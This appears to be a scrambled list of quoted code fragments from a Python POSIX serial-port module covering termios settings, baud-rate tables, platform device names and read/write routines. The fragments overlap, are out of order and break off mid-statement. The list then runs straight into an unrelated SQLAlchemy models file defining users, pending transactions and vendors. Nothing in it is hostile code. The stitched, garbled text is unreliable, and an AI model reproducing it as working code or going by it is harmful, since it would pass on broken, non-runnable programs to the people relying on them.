ospeed = getattr(TERMIOS, 'B38400') try:", "device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "&= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if", "raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \"\"\"For easier use", "for Python 2.6 and newer, that provide the new I/O", "self.fd is None: raise SerialException(\"Can only operate on a valid", "# activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed,", "# XXX should there be a warning if setting up", "__name__ == '__main__': s = Serial(0, baudrate=19200, # baud rate", "else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a", "port: /dev/ttyS0' and with a bit luck you can get", "I/O # library, derrive from io.RawIOBase try: import io except", "= termios.tcgetattr(self.fd) except termios.error as msg: # if a port", "and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS", "configuration is done with termios and fcntl. Runs on Linux", "portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI", "arbitrary serial speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate):", "if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use IOKit-specific", "= {} elif plat[:6] == 'darwin': # OS X version", "read(self, size=1): \"\"\"Read size bytes from the serial port. If", "should always return some data as select reported it was", "read = bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[],", "0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800:", "baud rate, if any if custom_baud is not None: set_special_baudrate(self,", "TERMIOS.CS5 else: raise ValueError('Invalid char len: %r' % self._bytesize) #", "class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \"\"\"poll based read implementation.", "input buffer.\"\"\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s =", "Exception as msg: self.fd = None raise SerialException(\"could not open", "when closing the port # also to keep original exception", "0x5428 class PosixSerial(SerialBase): \"\"\"Serial port class POSIX implementation. Serial port", "set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] * 32)", "plat[:2] == 'hp': # HP-UX (not tested) def device(port): return", "<NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys,", "TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2", "while it's in use (e.g. USB-serial unplugged)\"\"\" def read(self, size=1):", "no transmitting is possible.\"\"\" if self.fd is None: raise portNotOpenError", "all data is written.\"\"\" self.drainOutput() def flushInput(self): \"\"\"Clear input buffer,", "0)) and not buf: break # early abort on timeout", "raise writeTimeoutError d = d[n:] t = t - n", "rate on this platform\") baudrate_constants = {} #~ raise Exception,", "and TERMIOS.TIOCM_ST or 0x008 #TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR", "elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid", "they are always ready to read immediately # but reading", "control is enabled\"\"\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF)", "some data as select reported it was # ready to", "150: 0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011,", "os.close(self.fd) except: # ignore any exception when closing the port", "if timeleft < 0: raise writeTimeoutError _, ready, _ =", "early abort on timeout return bytes(read) if __name__ == '__main__':", "(port+1) #XXX different device names depending on flow control def", "None while t > 0: try: n = os.write(self.fd, d)", "communication parameters on opened port.\"\"\" if self.fd is None: raise", "# set custom divisor buf[6] = buf[7] / baudrate #", "cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag,", "ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud <", "device(port) # - - - - - - - -", "function is not portable to different platforms!\"\"\" if self.fd is", "like Linux # see __init__.py # # (C) 2001-2010 <NAME>", "#TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ =", "license.txt # # parts based on code from <NAME> <<EMAIL>>:", "ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store", "TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS =", "some constants for later use. # try to use values", "for file-like behavior. for Python 2.6 and newer, that provide", "is not None: set_special_baudrate(self, custom_baud) def close(self): \"\"\"Close port\"\"\" if", "baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed)", "class PosixPollSerial(Serial): \"\"\"poll based read implementation. not all systems support", "to detect the OS so that a device can be", "TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD or", "self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \"\"\"Clear", "cuaa%d) def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate):", "IO for POSIX compatible systems, like Linux # see __init__.py", "portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self,", "\"beos\", .... # they should work, just need to know", "TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 # -", "(sys.hexversion < 0x020200f0): import FCNTL else: FCNTL = fcntl #", "less characters as requested. With no timeout it will block", "= fcntl # try to detect the OS so that", "open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg:", "oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag", "stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set a", "platform, sorry.\" # whats up with \"aix\", \"beos\", .... #", "len(read) < size: # print \"\\tread(): size\",size, \"have\", len(read) #debug", "distributed under a free software license, see license.txt # #", "portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \"\"\"Send break condition. Timed,", "= vmin # vtime if vtime < 0 or vtime", "to number ttys on this system. ! Use an explicit", "select, errno, time from .serialutil import * # Do check", "information to ! the author of this module: sys.platform =", "v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return", "if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY)", "port and where the counting starts for the first serial", "'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and", "this one has better handling of errors, such as a", "PosixPollSerial(Serial): \"\"\"poll based read implementation. not all systems support poll", "fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \"\"\"Read", "raise ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud", "8: def set_special_baudrate(port, baudrate): # use IOKit-specific call to set", "|= TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif", "'darwin': # OS X version = os.uname()[2].split('.') # Tiger or", "send this information to ! the author of this module:", "baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST", "setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff:", "timeout, and the timeout occurs, it # returns with empty", "iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except", "first serial port. e.g. 'first serial port: /dev/ttyS0' and with", "cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity)", "fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0]", "up pass self.fd = None raise else: self._isOpen = True", "0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS", "empty lists -> thus abort read operation. # For timeout", "timeleft) if not ready: raise writeTimeoutError d = d[n:] t", "serial port. e.g. 'first serial port: /dev/ttyS0' and with a", "baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate: %r' %", "# use IOKit-specific call to set up high speeds import", "fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 #", "%r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd,", "Do check the Python version as some constants have moved.", "getCD(self): \"\"\"Read terminal status line: Carrier Detect\"\"\" if self.fd is", "library, derrive from io.RawIOBase try: import io except ImportError: #", "- - - def inWaiting(self): \"\"\"Return the number of characters", "errors, such as a device disconnecting while it's in use", "not supported\") def device(port): return '/dev/cuad%d' % port baudrate_constants =", "/dev file, it'll fail here raise SerialException(\"Could not configure port:", "is done with termios and fcntl. Runs on Linux and", "fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version < 8 def", "elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid", "msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort()", "termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \"\"\"Set break: Controls TXD. When", "something fails) for fd, event in poll.poll(self._timeout*1000): if event &", "try: os.close(self.fd) except: # ignore any exception when closing the", "% (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how", "TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or", ") s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\n' % s.read(5)) sys.stdout.write('%s\\n'", "hang up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004,", "IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX", "buf[6] = buf[7] / baudrate # update flags buf[4] &=", "# HP-UX (not tested) def device(port): return '/dev/tty%dp0' % (port+1)", "raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime #", "termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \"\"\"Clear output buffer, aborting the current", "False def makeDeviceName(self, port): return device(port) # - - -", "!= errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data)", "from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or", "has a /dev file, it'll fail here raise SerialException(\"Could not", "None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK) def fileno(self): \"\"\"For easier", "fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def", "(partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different", "len(read) #debug # wait until device becomes ready to read", "getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for later", "'bsd' or \\ plat[:7] == 'freebsd' or \\ plat[:7] ==", "but has a /dev file, it'll fail here raise SerialException(\"Could", "returned no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self,", "def set_special_baudrate(port, baudrate): raise SerialException(\"sorry don't know how to handle", "0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET", "cc]) # apply custom baud rate, if any if custom_baud", "msg: self.fd = None raise SerialException(\"could not open port %s:", "the serial port and where the counting starts for the", "= hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS,", "pass self.fd = None raise else: self._isOpen = True #~", "is not correct for the platform it has chances #", "- - platform specific - - - - def drainOutput(self):", "# store for later except ValueError: raise ValueError('Invalid baud rate:", "self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as", "attempt to build a device name # even if the", "specific - - - - def drainOutput(self): \"\"\"internal - not", "'/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] == 'netbsd':", "# Python Serial Port Extension for Win32, Linux, BSD, Jython", "= 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array", "device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate):", "custom_baud = None vmin = vtime = 0 # timeout", "netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS,", "read implementation. not all systems support poll properly. however this", "True #~ self.flushInput() def _reconfigurePort(self): \"\"\"Set communication parameters on opened", "'B38400') try: custom_baud = int(self._baudrate) # store for later except", "if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL = fcntl", "this is distributed under a free software license, see license.txt", "# Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def", "detection has failed... sys.stderr.write(\"\"\"\\ don't know how to number ttys", "is None: raise SerialException(\"Port must be configured before it can", "custom divisor buf[6] = buf[7] / baudrate # update flags", "iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD)", "break # timeout buf = os.read(self.fd, size-len(read)) # read should", "= struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK = hasattr(TERMIOS,", "buf: # Disconnected devices, at least on Linux, show the", "use defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and", "SerialException(\"Could not configure port: %s\" % msg) # set up", "TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or", "read.\"\"\" if self.fd is None: raise portNotOpenError read = bytearray()", "constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else:", "'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &=", "import sys, os, fcntl, termios, struct, select, errno, time from", "rate, if any if custom_baud is not None: set_special_baudrate(self, custom_baud)", "%r' % self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE:", "\"\"\"Read terminal status line: Data Set Ready\"\"\" if self.fd is", "or software flow control is enabled\"\"\" if enable: termios.tcflow(self.fd, TERMIOS.TCION)", "select.POLLIN or timeout, that's # handled below buf = os.read(self.fd,", "ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate", "import array buf = array.array('i', [0] * 32) # get", "def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST", "configured before it can be used.\") # open try: self.fd", "break # early abort on timeout return bytes(read) if __name__", "baudrate): import array buf = array.array('i', [0] * 32) #", "name is not correct for the platform it has chances", "0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200:", "# Disconnected devices, at least on Linux, show the #", "to read. if not ready: break # timeout buf =", "serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise", "defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET", "TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \"\"\"Set terminal", "is None: raise portNotOpenError return self.fd def flowControl(self, enable): \"\"\"manually", "TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE =", "\"\"\"manually control flow - when hardware or software flow control", "&= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag", "struct.unpack('I',s)[0] & TIOCM_CTS != 0 def getDSR(self): \"\"\"Read terminal status", "not None and self._writeTimeout > 0: timeout = time.time() +", "select reported it was # ready to read when we", "return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "else: raise ValueError('Invalid parity: %r' % self._parity) # setup flow", "vmin > 255: raise ValueError('Invalid vmin: %r ' % vmin)", "#TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 =", "has chances # to work using a string with the", "any if custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self):", "TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \"\"\"Read terminal status line: Clear To", "getRI(self): \"\"\"Read terminal status line: Ring Indicator\"\"\" if self.fd is", "no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data):", "enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello')", "is None: raise SerialException(\"Can only operate on a valid file", "baudrate_constants = {} elif plat[:2] == 'hp': # HP-UX (not", "PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity ==", "POSIX compatible systems, like Linux # see __init__.py # #", "port.\"\"\" if self.fd is None: raise portNotOpenError t = len(data)", "\"\"\"Set terminal status line: Request To Send\"\"\" if self.fd is", "# returns with empty lists -> thus abort read operation.", "to read immediately # but reading returns nothing. raise SerialException('device", "termios if (sys.hexversion < 0x020200f0): import FCNTL else: FCNTL =", "event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we", "0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD", "'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \"\"\"Serial port class", "Ready\"\"\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,", "\"minimal number of characters to be read. = for non", "and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR", "= ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) #", "== STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag", "baudrate): raise SerialException(\"sorry don't know how to handle non standard", "if self.fd is None: raise portNotOpenError return self.fd def flowControl(self,", "0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE", "return '/dev/tty%dp0' % (port+1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't", "it'll fail here raise SerialException(\"Could not configure port: %s\" %", "%r' % self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE", "% self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE if", "self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS,", "not portable to different platforms!\"\"\" if self.fd is None: raise", "read immediately # but reading returns nothing. raise SerialException('device reports", "portable!\"\"\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self):", "raise portNotOpenError return self.fd def flowControl(self, enable): \"\"\"manually control flow", "rate: %r' % self._baudrate) # may need custom baud rate,", "self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd =", "different platforms!\"\"\" if self.fd is None: raise portNotOpenError return self.fd", "TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or", "enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class", "platform\") baudrate_constants = {} else: # platform detection has failed...", "# NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d'", "if self._interCharTimeout is not None: vmin = 1 vtime =", "a bit luck you can get this module running... \"\"\"", "data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \"\"\"Output", "Detect\"\"\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,", "== 8: cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag", "ready: raise writeTimeoutError d = d[n:] t = t -", "'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and", "vmin < 0 or vmin > 255: raise ValueError('Invalid vmin:", "termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with", "buffer.\"\"\" #~ s = fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd,", "always return some data as select reported it was #", "standard baud rate on this platform\") baudrate_constants = {} else:", "= sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed) def", "&= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate", "wait until all data is written.\"\"\" self.drainOutput() def flushInput(self): \"\"\"Clear", "you can get this module running... \"\"\" % (sys.platform, os.name,", "# may need custom baud rate, it isn't in our", "device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\"sorry", "== 'hp': # HP-UX (not tested) def device(port): return '/dev/tty%dp0'", "if a port is nonexistent but has a /dev file,", "ready to read when we get to this point. if", "not None: vmin = 1 vtime = int(self._interCharTimeout * 10)", "0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK", "% msg) # set up raw mode / no echo", "baud rate on this platform\") baudrate_constants = {} elif plat[:3]", "\"\"\"Set terminal status line: Data Terminal Ready\"\"\" if self.fd is", "on this platform\") baudrate_constants = {} elif plat[:3] == 'aix':", "baudrate_constants = {} elif plat[:6] == 'netbsd': # NetBSD 1.6", "for later use. # try to use values from TERMIOS,", "opened port.\"\"\" if self.fd is None: raise SerialException(\"Can only operate", "&= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS,", "= baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate: %r'", "_ = select.select([], [self.fd], [], timeleft) if not ready: raise", "% self._bytesize) # setup stopbits if self._stopbits == STOPBITS_ONE: cflag", "for the platform it has chances # to work using", "such as a device disconnecting while it's in use (e.g.", "buf = os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is", "& TIOCM_CD != 0 # - - platform specific -", "NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d' %", "RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\n'", "occurs, it # returns with empty lists -> thus abort", "8 def set_special_baudrate(port, baudrate): raise ValueError(\"baud rate not supported\") def", "if ((self._timeout is not None and self._timeout >= 0) or", "== 0 (non-blocking operation) also abort when there # is", "raise portNotOpenError read = bytearray() while len(read) < size: ready,_,_", "'netbsd': # NetBSD 1.6 testing by Erk def device(port): return", "fcntl buf = array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2,", "the device name of the serial port and where the", "at least on Linux, show the # behavior that they", "flow control rtscts=0, # enable RTS/CTS flow control ) s.setRTS(1)", "readiness to read but returned no data (device disconnected?)') read.extend(buf)", "rate: %r' % self._baudrate) else: if custom_baud < 0: raise", "elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise ValueError('Invalid", "fails) for fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL):", "= timeout - time.time() if timeleft < 0: raise writeTimeoutError", "msg: # if a port is nonexistent but has a", "returns to idle state after given duration.\"\"\" if self.fd is", "200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012,", "own file-like emulation class Serial(PosixSerial, FileLike): pass else: # io", "know how to number ttys on this system. ! Use", "except: try: os.close(self.fd) except: # ignore any exception when closing", "code block should supply a device() and set_special_baudrate() function #", "baud rate, it isn't in our list. ispeed = ospeed", "fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def", "None raise else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self):", "state after given duration.\"\"\" if self.fd is None: raise portNotOpenError", "def makeDeviceName(self, port): return device(port) # - - - -", "/ baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |=", "size bytes from the serial port. If a timeout is", "self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif", "provide the new I/O # library, derrive from io.RawIOBase try:", "for being ready # with the time left as timeout", "systems support poll properly. however this one has better handling", "\"\"\"Read terminal status line: Carrier Detect\"\"\" if self.fd is None:", "select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) <", "try to use values from TERMIOS, use defaults from linux", "TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - -", "fail here raise SerialException(\"Could not configure port: %s\" % msg)", "TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \"\"\"Read", "# select based implementation, proved to work on many systems", "control def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to", "and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET", "import TERMIOS else: TERMIOS = termios if (sys.hexversion < 0x020200f0):", "Serial(PosixSerial, FileLike): pass else: # io library present class Serial(PosixSerial,", "device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry", "Python version as some constants have moved. if (sys.hexversion <", "None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else: fcntl.ioctl(self.fd,", "to set custom baud rate: %r' % baudrate) baudrate_constants =", "work using a string with the real device name as", "portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_RTS_str) else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str)", "plat[:6] == 'netbsd': # NetBSD 1.6 testing by Erk def", "a brave attempt to build a device name # even", "(v,)) return len(data) def flush(self): \"\"\"Flush of file like objects.", "flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if", "def flushInput(self): \"\"\"Clear input buffer, discarding all that is in" ]
[ "Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float", "'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url =", "Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class", "PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode =", "Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ =", "default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2", "an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback for", "that unique ID of a given user object. It is", "= 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id", "primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp =", "email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self):", "of an object \"\"\" return unicode(self.id) def is_anonymous(self): \"\"\" Callback", "= 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name", "Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \"\"\" Callback", "user object. It is unicoded as per specification. Returns: the", "# Status: 0 - default, 1 - scanned, 2 -", "Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 -", "sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base):", "Returns: True \"\"\" return True def is_authenticated(self): \"\"\" Callback for", "Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())", "Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ =", "<reponame>electricimp/examples import datetime from database import Base from sqlalchemy import", "Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password", "is_authenticated(self): \"\"\" Callback for Flask-Login. Should return True unless the", "Flask-Login. Represents that unique ID of a given user object.", "for Flask-Login. Default to False - we don't deal with", "\"\"\" Callback for Flask-Login. Should return True unless the object", "Callback for Flask-Login. Default to False - we don't deal", "with any anonymous users. Returns: False \"\"\" return False def", "Callback for Flask-Login. Should return True unless the object represents", "the object represents a user should not be authenticated. Returns:", "= Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id'))", "Column(DateTime, nullable=False, 